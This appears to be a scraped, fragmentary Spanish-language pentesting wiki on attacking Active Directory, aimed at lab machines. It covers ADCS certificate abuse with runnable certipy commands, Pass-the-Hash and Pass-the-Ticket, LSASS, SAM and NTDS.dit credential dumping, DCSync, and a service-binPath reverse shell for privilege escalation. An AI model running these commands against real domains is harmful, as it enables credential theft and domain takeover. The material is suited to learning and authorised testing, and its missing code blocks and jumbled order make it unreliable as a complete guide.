    ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(sAMAccountName=user)" dn memberOf description userPrincipalName pwdLastSet lastLogon info
    
    # Autenticación de Kerberos
    ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(sAMAccountName=user)" dn memberOf description userPrincipalName pwdLastSet lastLogon info

    Certificate Enrollment Policy Web Server: Proporciona información sobre la política de inscripción de certificados.

  • CA Web Enrollment: Permite que hosts fuera del dominio o con otros sistemas operativos renueven certificados.

  • NDES (Network Device Enrollment Service): Permite a dispositivos de red obtener certificados sin conexión.

  • P7B (PKCS#7): Almacena certificados de cadena, pero no claves privadas.
    Validity Period: Periodo de validez del certificado.
  • EKU (Extended Key Use): Define usos específicos del certificado.

  • OID (Object Identifier): Indica el propósito o escenario de uso del certificado.

  • El certificado firmado es devuelto al cliente.
    If you run into a situation where you can enroll in a vulnerable certificate template but the resulting certificate fails for Kerberos authentication, you can try authenticating to LDAP via SChannel using something like PassTheCert. You will only have LDAP access, but this should be enough if you have a certificate stating you’re a domain admin.
    Abusing ESC8 & ESC10 on ADCS --> https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7arrow-up-right

    OID

    Uso del certificado

    1.3.6.1.5.5.7.3.1

    Autenticación de servidor

    1.3.6.1.5.5.7.3.2

    Autenticación de cliente

    1.3.6.1.5.5.7.3.3

    Firma de código

    1.3.6.1.5.5.7.3.4

    Correo electrónico seguro

    PowerView.pyarrow-up-right
    https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/arrow-up-right
    https://adminions.ca/books/abusing-active-directory-certificate-servicesarrow-up-right
    https://www.thehacker.recipes/ad/movement/adcs/arrow-up-right
    ESC8
    Installation

    hashtag
    Use

    Autenticación básica (User/Passworrd)

    Autenticación mediante Pass-the-Hash (PtH)

    Autenticación mediante Kerberos


    Web Browser


    hashtag
    Attacking AD using PowerView.py

    # Añadir usuario a un grupo

    # Asignar servicePrincipalName (SPN) a un usuario para Kerberoasting Attack (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target)

    # Deshabilitar ACCOUNTDISABLE para habilitar a un usuario deshabilitado

    # Habilitar DONT_REQ_PREAUTH para ASREP Roast (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target)

    # Leer contraseña GMSA

    # Kerberoasting Attack

    # Modificar contraseña de un usuario

    # Convertir el usuario 'user_target' en propietario del objeto 'object_target'

    # Añadir un nuevo Domain Computer

    # Añadir un nuevo usuario del dominio

    # Creamos un nuevo registro DNS, para posteriormente realizar ataques de DNS Spoofing.

    Repositorio de GitHub de la herramienta

    hashtag
    Attacking AD using bloodyAD

    # Leer LAPS Password

    # Leer GMSA Password

    # Habilitar DONT_REQ_PREAUTH para ASREP Roast (Necesario disponer permisos GenericAll/GenericWrite)

    # Deshabilitar ACCOUNTDISABLE para habilitar a un usuario deshabilitado

    # Añadir usuario a un grupo

    # Shadow Credentials Attack (luego hay que hacer unPacTheHash)

    # Asignar servicePrincipalName (SPN) a un usuario para Kerberoasting Attack (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target)

    # Hacer propietario a usuario sobre un objeto (permisos de WriteOwner)

    # Asignar permisos GenericAll sobre un usuario a un objeto para tener control total

    # Cambiar contraseña de un usuario

    # Añadir permisos DCSync sobre un objeto

    # Asignamos al usuario 'TARGET' un script malicioso que se ejecutará cuando inicie sesión

    # Creamos un nuevo registro DNS, para posteriormente realizar ataques de DNS Spoofing.

    # Asignar un UPN (userPrincipalName) diferente para ataques como UPN Spoofing

    # Asignar valor al atributo altSecurityIdentities para ataques X.509/ESC14

    hashtag
    Dumping LSASS

    hashtag
    Mimikatz

    En Windows a través de la herramienta de mimikatz haremos el dump del LSASS.


    hashtag
    Task Manager

    Con acceso a una sesión gráfica interactiva con el objetivo, podemos utilizar el administrador de tareas para crear un volcado de memoria.

    Se nos creará un archivo lsass.DMP que nos pasaremos a nuestra máquina en local para extraer las credenciales tal y como se muestra en Using Pypykatz to Extract Credentials


    hashtag
    Using Pypykatz to Extract Credentials

    En caso de disponer de un lsass.DMP en nuestra Kali, comprobar que tipo de dump es y hacer un dump del LSASS.


    hashtag
    Rundll32.exe & Comsvcs.dll Method

    El método del Administrador de Tareas depende de que tengamos una sesión interactiva basada en GUI con un objetivo. Podemos utilizar un método alternativo para volcar la memoria del proceso LSASS a través de una utilidad de línea de comandos llamada rundll32.exe. Esta forma es más rápida que el método del Administrador de Tareas y más flexible porque podemos obtener una sesión shell en un host Windows con sólo acceso a la línea de comandos. Es importante tener en cuenta que las herramientas antivirus modernas reconocen este método como actividad maliciosa.

    Antes de emitir el comando para crear el archivo de volcado, debemos determinar qué ID de proceso (PID) está asignado a lsass.exe. Esto se puede hacer desde cmd o PowerShell:

    Finding LSASS PID in cmd

    Desde cmd, podemos emitir el comando tasklist /svc y encontrar lsass.exe y su ID de proceso en el campo PID.

    Finding LSASS PID in PowerShell

    Desde PowerShell, podemos ejecutar el comando Get-Process lsass y ver el ID del proceso en el campo Id.

    Una vez que tenemos el PID asignado al proceso LSASS, podemos crear el archivo de volcado.

    hashtag
    NetExec

    De manera remota podemos hacer un dump del LSASS a través de netexec.


    hashtag
    Lsassy


    hashtag
    Cracking the NT Hash with hashcat


    hashtag
    References

    Enlaces utilizados:

    • Export LSASS -> https://blog.cyberadvisors.com/technical-blog/attacks-defenses-dumping-lsass-no-mimikatz/arrow-up-right

    hashtag
    PoC

    hashtag
    References

    • DnsAdmins to Domain Admin - https://www.hackingarticles.in/windows-privilege-escalation-dnsadmins-to-domainadmin/arrow-up-right

    • HTB Resolute - https://kogre.gitbook.io/gzzcoo/windows/active-directory/medium/resolutearrow-up-right

    Creds

    Users

    Passkeys

    Passphrases

    configuration

    dbcredential

    dbpassword

    pwd

    Login

    Credentials


    hashtag
    Search Tools

    Con acceso a la GUI, vale la pena intentar utilizar Windows Search para encontrar archivos en el objetivo utilizando algunas de las palabras clave mencionadas anteriormente.

    Por defecto, buscará en varias configuraciones del sistema operativo y en el sistema de archivos aquellos archivos y aplicaciones que contengan el término clave introducido en la barra de búsqueda.

    hashtag
    Lazagne

    También podemos aprovechar herramientas de terceros como Lazagne para descubrir rápidamente credenciales que los navegadores web u otras aplicaciones instaladas puedan almacenar de forma insegura. Sería beneficioso mantener una copia independiente de Lazagne en nuestro host de ataque para poder transferirla rápidamente al objetivo. Lazagne.exe nos servirá perfectamente en este escenario. Podemos utilizar nuestro cliente RDP para copiar el archivo en el objetivo de nuestro host de ataque. Si estamos utilizando xfreerdp todo lo que debemos hacer es copiar y pegar en la sesión RDP que hemos establecido.

    Una vez que Lazagne.exe esté en el objetivo, podemos abrir el símbolo del sistema o PowerShell, navegar hasta el directorio en el que se cargó el archivo y ejecutar el siguiente comando:

    Running Lazagne All

    Esto ejecutará Lazagne y ejecutará todos los módulos incluidos. Podemos incluir la opción -vv para estudiar lo que está haciendo en segundo plano. Una vez que pulsemos enter, se abrirá otro prompt y mostrará los resultados.

    Lazagne Output

    Si utilizáramos la opción -vv, veríamos los intentos de recopilar contraseñas de todo el software soportado por Lazagne. También podemos mirar en la página de GitHub en la sección de software soportado para ver todo el software de Lazagne intentará recopilar credenciales. Puede ser un poco chocante ver lo fácil que puede ser obtener credenciales en texto claro. Gran parte de esto se puede atribuir a la forma insegura en que muchas aplicaciones almacenan las credenciales.


    hashtag
    Findstr

    También podemos utilizar findstr para buscar a partir de patrones en muchos tipos de archivos. Teniendo en cuenta los términos clave comunes, podemos utilizar variaciones de este comando para descubrir credenciales en un objetivo Windows:


    hashtag
    Get-ChildItem

    hashtag
    Additional Considerations

    Existen miles de herramientas y términos clave que podemos utilizar para buscar credenciales en sistemas operativos Windows. Sepa que las que elijamos utilizar se basarán principalmente en la función del ordenador. Si aterrizamos en un sistema operativo Windows Server, podemos utilizar un enfoque diferente que si aterrizamos en un sistema operativo Windows Desktop. Siempre hay que tener en cuenta cómo se utiliza el sistema, y esto nos ayudará a saber dónde buscar. A veces incluso podremos encontrar credenciales navegando y listando directorios en el sistema de archivos mientras se ejecutan nuestras herramientas.

    Estos son algunos otros lugares que debemos tener en cuenta al buscar credenciales:

    • Passwords in Group Policy in the SYSVOL share

    • Passwords in scripts in the SYSVOL share

    • Password in scripts on IT shares

    • Passwords in web.config files on dev machines and IT shares

    • unattend.xml

    • Passwords in the AD user or computer description fields

    • KeePass databases --> pull hash, crack and get loads of access.

    • Found on user systems and shares

    • Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares,

    Username

    User account

    hashtag
    PrintSpoofer

    hashtag
    JuicyPotato

    hashtag
    Churrasco

    El exploit churrasco es similar al exploit JuicyPotato. En algunos casos, el exploit JuicyPotato no es compatible con sistemas más antiguos, como Windows Server 2003 o Windows XP. Se trata de una escalada de privilegios de Windows desde cuentas de “servicio” a cuentas “NT AUTHORITY\SYSTEM”.

    PoC


    hashtag
    SeBackupPrivilege

    El privilegio SeBackupPrivilege permite a un usuario crear copias de seguridad del sistema, lo que les da acceso total de lectura a todos los archivos, sin importar las restricciones de ACL. Esto incluye archivos sensibles como el SAM o el SYSTEM Registry. Un atacante puede usar este privilegio tras obtener acceso inicial al sistema, leyendo estos archivos y crackeando contraseñas de usuarios con altos privilegios.

    Utilizamos nuestro SeBackupPrivilege para leer el archivo SAM y guardar una variante del mismo. De forma similar, leemos el archivo SYSTEM y guardamos una variante del mismo.

    A través de la herramienta de samdump2, extraemos desde Kali los hashes NTLM de la SAM. Podemos intentar efectuar PassTheHash para autenticarnos con el hash NTLM del usuario.

    impacket-GetUserSPNs -no-preauth 'usuarioASREP' -request -usersfile users.txt dominio.htb/ -dc-ip 10.10.10.10 2>/dev/null
    sudo ntpdate -s 10.10.10.10
    Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects
    
    Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *

    Pass the Ticket (PtT)

    hashtag
    Introduction

    Otro método para movernos lateralmente en un entorno de Active Directory se llama ataque Pass the Ticket (PtT). En este ataque, usamos un ticket Kerberos robado para movernos lateralmente en lugar de un hash de contraseña NTLM. Vamos a ver varias formas de llevar a cabo un ataque PtT desde Windows y Linux.


    hashtag
    Kerberos Protocol Refresher

    El sistema de autenticación Kerberos se basa en tickets. La idea principal detrás de Kerberos es evitar entregar la contraseña de la cuenta a cada servicio que usamos. En su lugar, Kerberos guarda todos los tickets en el sistema local y presenta a cada servicio únicamente el ticket específico para ese servicio, evitando que un ticket se use para otro propósito.

    • TGT (Ticket Granting Ticket): Es el primer ticket que se obtiene en un sistema Kerberos. Este ticket permite al cliente solicitar otros tickets Kerberos (TGS).

    • TGS (Ticket Granting Service): Son tickets que los usuarios solicitan cuando quieren usar un servicio. Estos permiten a los servicios verificar la identidad del usuario.

    Cuando un usuario solicita un TGT, debe autenticarse ante el controlador de dominio cifrando el timestamp con el hash de su contraseña. Si el controlador de dominio valida la identidad del usuario (porque conoce su hash y puede descifrar el timestamp), le envía un TGT para futuras solicitudes. Una vez que el usuario tiene su ticket, ya no necesita volver a demostrar su identidad usando su contraseña.

    Por ejemplo, si el usuario quiere conectarse a una base de datos MSSQL, solicita un TGS al KDC (Key Distribution Center) presentando su TGT. Luego entrega el TGS al servidor MSSQL para autenticarse.


    Pass the Hash (PtH)

    hashtag
    Introduction

    Un ataque Pass the Hash (PtH) es una técnica en la que un atacante utiliza un hash de contraseña en lugar de la contraseña en texto plano para autenticarse. No es necesario descifrar el hash para obtener la contraseña original. Este tipo de ataque aprovecha el funcionamiento del protocolo de autenticación, ya que el hash permanece constante en cada sesión hasta que la contraseña se cambia.

    El atacante necesita tener privilegios administrativos u otros permisos específicos sobre la máquina objetivo para poder obtener los hashes de contraseña. Existen varios métodos para obtenerlos, entre ellos:

    • Volcar la base de datos SAM local desde un host comprometido.

    • Extraer los hashes de la base de datos del controlador de dominio (NTDS.dit).

    • Obtener los hashes directamente desde la memoria del proceso lsass.exe.

    Supongamos que hemos obtenido el siguiente hash de contraseña para la cuenta julio del dominio gzzcoo.htb:

    A continuación, veremos cómo realizar ataques Pass the Hash desde sistemas Windows y Linux.


    hashtag
    Windows NTLM Introduction

    NTLM (New Technology LAN Manager) de Microsoft es un conjunto de protocolos de seguridad diseñado para autenticar la identidad de los usuarios y proteger la integridad y confidencialidad de sus datos. NTLM funciona como una solución de inicio de sesión único (SSO), utilizando un protocolo de reto-respuesta para verificar la identidad del usuario sin necesidad de enviar la contraseña.

    A pesar de sus vulnerabilidades conocidas, NTLM sigue siendo utilizado con frecuencia para mantener compatibilidad con sistemas y clientes antiguos, incluso en entornos modernos. Aunque Microsoft continúa dando soporte a NTLM, Kerberos ha pasado a ser el mecanismo de autenticación predeterminado desde Windows 2000 y en todos los dominios basados en Active Directory (AD) posteriores.

    Uno de los problemas clave de NTLM es que las contraseñas almacenadas en los servidores o controladores de dominio no están "salteadas" (salted). Esto significa que un atacante que obtenga el hash de una contraseña puede autenticarse directamente sin necesidad de conocer la contraseña original. A este tipo de técnica se le conoce como ataque Pass the Hash (PtH).


    hashtag
    Pass the Hash with Mimikatz (Windows)

    La primera herramienta que podemos utilizar para llevar a cabo un ataque Pass the Hash es Mimikatz. Esta herramienta cuenta con un módulo llamado sekurlsa::pth, que permite iniciar un proceso utilizando directamente el hash NTLM de un usuario, sin necesidad de conocer su contraseña en texto claro.

    Para usar este módulo, se requiere la siguiente información:

    • /user – El nombre del usuario que queremos suplantar.

    • /rc4 o /ntlm – El hash NTLM de la contraseña del usuario.

    • /domain

    Pass the Hash from Windows Using Mimikatz:

    Ahora podemos usar cmd.exe para ejecutar comandos en el contexto del usuario. En este ejemplo, julio puede conectarse a una carpeta compartida llamada julio en el controlador de dominio.


    hashtag
    Pass the Hash with PowerShell Invoke-TheHash (Windows)

    Otra herramienta que podemos utilizar para realizar ataques Pass the Hash en sistemas Windows es Invoke-TheHash. Esta herramienta es un conjunto de funciones en PowerShell diseñadas para ejecutar ataques PtH utilizando WMI y SMB.

    Las conexiones a WMI y SMB se realizan a través de System.Net.Sockets.TCPClient de .NET, y la autenticación se lleva a cabo inyectando el hash NTLM en el protocolo de autenticación NTLMv2.

    Aunque no se requieren privilegios de administrador en el equipo desde el cual ejecutamos el ataque, las credenciales utilizadas (usuario y hash) sí deben tener privilegios administrativos en la máquina objetivo.

    hashtag
    Invoke-TheHash with SMB

    En este ejemplo, se utilizará el usuario julio y el hash 64F12CDDAA88057E06A81B54E73B949B.

    • Target: Nombre de host o dirección IP del objetivo.

    • Username: Nombre de usuario que se utilizará para la autenticación.

    • Domain: Dominio al que pertenece el usuario. Este parámetro es opcional si se utiliza una cuenta local o si se incluye el dominio en el nombre de usuario (por ejemplo,

    El siguiente comando utilizará el método SMB para ejecutar un comando que crea un nuevo usuario llamado mark y lo añade al grupo de administradores:

    hashtag
    Invoke-TheHash with WMI

    También podemos obtener una conexión de Reverse Shell en la máquina de destino.

    Para obtener una Reverse Shell, necesitamos iniciar nuestro listener usando Netcat en nuestra máquina Windows, cuya dirección IP es 172.16.1.5. Usaremos el puerto 8001 para esperar la conexión.

    Para crear una Reverse Shell simple usando PowerShell, podemos visitar , configurar nuestra IP 172.16.1.5 y puerto 8001, y seleccionar la opción PowerShell #3 (Base64), como se muestra en la siguiente imagen.


    hashtag
    Pass the Hash with Impacket (Linux)

    Pass the Hash with Impacket PsExec

    Existen otras herramientas en el kit de herramientas de Impacket que podemos usar para la ejecución de comandos mediante ataques Pass the Hash, como:

    • impacket-wmiexec

    • impacket-atexec

    • impacket-smbexec


    hashtag
    Pass the Hash with NetExec (Linux)

    NetExec es una herramienta de postexplotación que ayuda a automatizar la evaluación de la seguridad de grandes redes de Active Directory. Podemos usar NetExec para intentar autenticarnos en algunos o todos los hosts de una red, buscando un host donde podamos autenticarnos correctamente como administrador local. Este método también se denomina "Rociado de contraseñas" y se explica en detalle en el módulo "Enumeración y ataques de Active Directory". Tenga en cuenta que este método puede bloquear cuentas de dominio, así que tenga en cuenta la política de bloqueo de cuentas del dominio objetivo y asegúrese de usar el método de cuenta local, que solo intentará iniciar sesión una vez en un host dentro de un rango determinado con las credenciales proporcionadas, si esa es su intención.

    Si queremos realizar las mismas acciones, pero intentar autenticarnos en cada host de una subred usando el hash de la contraseña del administrador local, podríamos añadir --local-auth a nuestro comando. Este método es útil si obtenemos un hash del administrador local volcando la base de datos SAM local en un host y queremos comprobar a cuántos hosts adicionales (si los hay) podemos acceder gracias a la reutilización de la contraseña del administrador local. Si vemos "Pwn3d!", significa que el usuario es administrador local en el equipo de destino. Podemos usar la opción -x para ejecutar comandos.

    Es común ver la reutilización de contraseñas en varios hosts de la misma subred. Las organizaciones suelen usar imágenes maestras con la misma contraseña de administrador local o la configuran de la misma forma en varios hosts para facilitar la administración. Si nos encontramos con este problema en una interacción real, una excelente recomendación para el cliente es implementar la Solución de Contraseña del Administrador Local (LAPS), que aleatoriza la contraseña del administrador local y puede configurarse para que rote en un intervalo fijo.

    CrackMapExec - Command Execution


    hashtag
    Pass the Hash with evil-winrm (Linux)

    evil-winrm es otra herramienta que podemos usar para autenticarnos mediante el ataque "Pass the Hash" con comunicación remota de PowerShell. Si SMB está bloqueado o no tenemos permisos de administrador, podemos usar este protocolo alternativo para conectarnos a la máquina objetivo.


    hashtag
    Pass the Hash with RDP (Linux)

    Puede haber ocasiones en las que obtengas un NT hash de administrador local a partir de un volcado de SAM u otros métodos, pero no puedas descifrarlo para obtener la contraseña en texto claro. En algunos casos, puedes realizar un ataque Pass-the-Hash (PtH) en RDP para obtener acceso GUI al sistema utilizando una herramienta como xfreerdp.

    El principal obstáculo para este ataque es el Modo de Administración Restringida (Restricted Admin Mode). Este modo está deshabilitado por defecto y evitará que inicies sesión con un NT hash.

    Sin embargo, con acceso de administrador local, puedes habilitar esta función agregando una nueva clave en el registro:

    Una vez que se agrega la clave en el registro, puedes usar una herramienta como xfreerdp para obtener acceso por RDP sin necesidad de conocer la contraseña en texto claro de la cuenta:

    PoC (Proof of Concept)


    hashtag
    UAC Limits Pass the Hash for Local Accounts

    UAC (Control de Cuentas de Usuario) limita la capacidad de los usuarios locales para realizar tareas administrativas de forma remota. Cuando la clave de registro HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy está en 0, significa que solo la cuenta de administrador local integrada (RID-500, "Administrator") puede hacer administración remota. Si se pone en 1, se permite también a otros administradores locales.

    Ojo: hay una excepción. Si la clave FilterAdministratorToken (que está deshabilitada por defecto) se habilita (valor 1), entonces la cuenta RID-500 (aunque tenga otro nombre) queda protegida por UAC. Eso hace que un ataque remoto tipo Pass The Hash (PTH) con esa cuenta falle.

    Estos ajustes solo aplican a cuentas administrativas locales. Si conseguimos acceso a una cuenta de dominio con permisos administrativos sobre una máquina, sí podremos usar Pass The Hash contra ella.

    NTDS.dit

    hashtag
    Introduction

    El archivo NTDS.dit es la base de datos del Active Directory en controladores de dominio de Windows. Contiene información crítica como las cuentas de usuario, grupos, políticas y, lo más importante, los hashes de contraseñas de todos los usuarios del dominio.

    Un atacante puede extraer este archivo (junto con el SYSTEM hive) para obtener los hashes y crackearlos, ganando acceso a credenciales sensibles.


    hashtag
    DCSync Rights

    Usuario forma parte de un grupo que dispone de privilegios "WriteDacl" sobre el dominio, podemos otorgarle permisos DCSync al usuario . Esto debemos de tener acceso a un equipo del dominio y debemos de importar PowerView.

    Con bloodyAD podemos añadir permisos de DCSync (desde Kali)

    Si disponemos de permisos de DCSync, des de Kali dumpearemos el NTDS.dit de la siguiente manera:


    hashtag
    SeBackupPrivilege

    Requisitos:

    • Acceso remoto al Domain Controller del dominio.

    • Disponer de usuario con permisos de "SeBackupPrivilege"

    • Disponer del archivo 'SYSTEM' del DC. Se puede obtener a través de

    Proceso:

    Utilizaremos DiskShadow y Robocopy para copiar el archivo "NTDS.dit" y disponer de una copia que la pasaremos a nuestra Kali.

    triangle-exclamation

    (Importante: Dejar un espacio al final de cada instrucción)

    Ejecutaremos el diskshadow para crear una copia de la unidad C: en la unidad G del DiskShadow.

    A través de RoboCopy copiaremos el archivo NTDS.dit de la copia de la C que se encuentra en la unidad G.

    Pasaremos la copia de los archivos SYSTEM y NTDS.dit a la Kali y haremos el dump con secretsdump.py:


    hashtag
    References

    • DCSync Attack (Hacktricks) -->

    • Dumping Active Directory Hashes -->

    • Diskshadow --<

    SAM and SYSTEM

    hashtag
    Introduction

    La SAM (Security Account Manager) es una base de datos en Windows que almacena las credenciales locales de los usuarios, como los hashes de contraseñas. Este archivo crítico se encuentra en C:\Windows\System32\Config\SAM y está protegido por restricciones de acceso. Sin embargo, si un atacante obtiene permisos elevados, puede extraer los hashes de la SAM y usarlos para ataques como Pass-the-Hash o crackeo de contraseñas, comprometiendo cuentas locales del sistema.


    hashtag
    Dumping SAM and SYSTEM secrets

    hashtag
    Reg save

    En Windows haremos una copia de los archivos en "temp"

    Desde Kali Linux exportaremos los hashes de la SAM

    hashtag
    NetExec

    De manera remota podemos hacer el dump del SAM del equipo.


    hashtag
    References

    • Export copy SAM and SYSTEM files -

    Server Operators Group

    hashtag
    Introduction

    El grupo Server Operators es un grupo de seguridad integrado en los entornos de Windows Server. A los miembros de este grupo se les otorgan privilegios administrativos específicos que les permiten realizar tareas relacionadas con el servidor sin tener derechos administrativos completos. Este grupo está diseñado principalmente para la administración delegada del servidor. Privilegios clave de los operadores de servidor

    Los miembros del grupo Operadores de servidor tienen los siguientes privilegios:

    • Iniciar y detener servicios:

      • Pueden iniciar, detener y pausar servicios en el servidor, lo que es crucial para el mantenimiento y la resolución de problemas del servidor.

    • Administrar recursos compartidos:

      • Los operadores de servidor pueden crear, modificar y eliminar carpetas compartidas y administrar recursos compartidos de impresoras, lo que les permite administrar recursos compartidos de manera eficaz.

    • Operaciones de copia de seguridad y restauración:

      • Los miembros pueden realizar copias de seguridad de archivos y restaurar archivos a partir de copias de seguridad, lo que facilita la administración de los procesos de recuperación de datos.

    • Iniciar sesión localmente:

      • Los miembros tienen la capacidad de iniciar sesión localmente en el servidor, lo que les permite administrar directamente el servidor a través de su consola.

    • Administrar usuarios y grupos locales:

      • Pueden agregar o eliminar usuarios de grupos locales y administrar cuentas locales, lo que es importante para las tareas de administración de usuarios.


    hashtag
    PoC

    Comprobamos que el usuario que disponemos forma parte del grupo SERVER OPERATORS.

    Desde el equipo revisaremos los servicios que se encuentran en ejecución.

    Después de revisar los servicios que se encuentran en ejecución, el siguiente paso será subir al equipo víctima el binario nc.exe para posteriormente aprovechar de que formamos parte de este grupo, para modificar el binPath del servicio e indicarle que la ruta del servicio es la ejecución de una Reverse Shell utilizando el binario subido de nc.exe.

    Verificamos que logramos modificar correctamente el binPath del servicio VMTools, también podemos utilizar el servicio browser.

    En una terminal nos pondremos en escucha por el puerto especificado en el punto anterior.

    Volveremos a la terminal del equipo víctima y pararemos y volver a iniciar el servicio, el cual hemos modificado el binPath para que ejecute la Reverse Shell.

    Verificamos que al volver a arrancar el servicio, hemos logrado obtener conexión a través de la Reverse Shell, en este caso, el usuario que arranca el servicio es el usuario NT AUTHORITY\SYSTEM, lo cual tenemos control total sobre el equipo.

    From Linux

    hashtag
    Introduction

    Aunque no es lo más común, los equipos Linux pueden conectarse a Active Directory para ofrecer una gestión centralizada de identidades e integrarse con los sistemas de la organización. Esto permite que los usuarios tengan una única identidad para autenticarse tanto en equipos Linux como Windows.

    Un equipo Linux conectado a Active Directory suele utilizar Kerberos como método de autenticación. Si este es el caso y logramos comprometer una máquina Linux unida al dominio, podríamos intentar buscar tickets Kerberos para suplantar a otros usuarios y obtener más acceso dentro de la red.

    Pass the Cert (PtC)

    hashtag
    KDC_ERR_PADATA_TYPE_NOSUPP

    Es posible que en algún momento obtengamos este mensaje de error al intentar autenticarnos con el certificado PFX del usuario que estamos impersonando, lo que indica que el KDC no admite el tipo de autenticación proporcionado.

    circle-info

    From Windows

    hashtag
    Pass the Ticket (PtT) Attack

    Necesitamos un ticket Kerberos válido para llevar a cabo un ataque Pass the Ticket (PtT). Este puede ser:

    • Un Service Ticket (TGS - Ticket Granting Service), que permite el acceso a un recurso específico.

    LOLBAS

    hashtag
    LOLBAS

    Los binarios de Living off the Land pueden usarse para realizar funciones como:

    • Download

    PowerShell

    hashtag
    PowerShell Session File Transfer

    Ya hablamos de realizar transferencias de archivos con PowerShell, pero puede haber escenarios en los que HTTP, HTTPS o SMB no estén disponibles. Si ese es el caso, podemos usar , también conocido como WinRM, para realizar operaciones de transferencia de archivos.

    nos permite ejecutar scripts o comandos en una computadora remota mediante sesiones de PowerShell. Los administradores suelen usar PowerShell Remoting para administrar computadoras remotas en una red, y también podemos usarlo para operaciones de transferencia de archivos. De manera predeterminada, al habilitar PowerShell Remoting se crean un receptor HTTP y un receptor HTTPS. Los receptores se ejecutan en los puertos predeterminados TCP/5985 para HTTP y TCP/5986 para HTTPS.

    certipy-ad find -u user@dominio.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
    certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
    
    certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
    python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10
    # Autenticación con credenciales
    certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
    
    certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
    
    # Autenticación con hash NLTM realizando PassTheHash
    certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
    
    certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
    
    # Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
    certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10 -target dc.dominio.htb
    
    certipy-ad req -k -no-pass  -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10 -target dc.dominio.htb
    certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d dominio.htb
    [?] +++++ Checking Template 'CorpVPN' +++++
    [!] Template 'CorpVPN' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
    [+] Identity 'HTB\Domain Computers' has enrollment rights for template 'CorpVPN'
    powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
    
    PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123
    certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
    
    certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
    certipy-ad auth -pfx administrator.pfx -username Administrator -domain dominio.htb
    certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn user
    certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d dominio.htb
    KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass 
    certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> /altname:administrator@dominio.htb
    certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -on-behalf-of 'dominio.htb\administrator' -pfx user.pfx
    # Autenticación con credenciales
    certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -save-old -dc-ip 10.10.10.10
    
    # Autenticación con hash NLTM realizando PassTheHash
    certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -save-old -dc-ip 10.10.10.10
    
    # Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
    certipy-ad template -k -no-pass -template <template_name> -save-old -dc-ip 10.10.10.10 -target dc.dominio.htb
    # Autenticación con credenciales
    certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
    
    # Autenticación con hash NLTM realizando PassTheHash
    certipy-ad find -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -dc-ip 10.10.10.10 -vulnerable -stdout
    
    # Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
    certipy-ad find -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout
    # Autenticación con credenciales
    certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10
    
    # Autenticación con hash NLTM realizando PassTheHash
    certipy-ad req -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10
    
    # Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
    certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10 -target dc.dominio.htb
    certipy-ad auth -pfx administrator.pfx -domain domain.htb
    # Autenticación con credenciales
    certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -configuration <template_name>.json
    
    # Autenticación con hash NLTM realizando PassTheHash
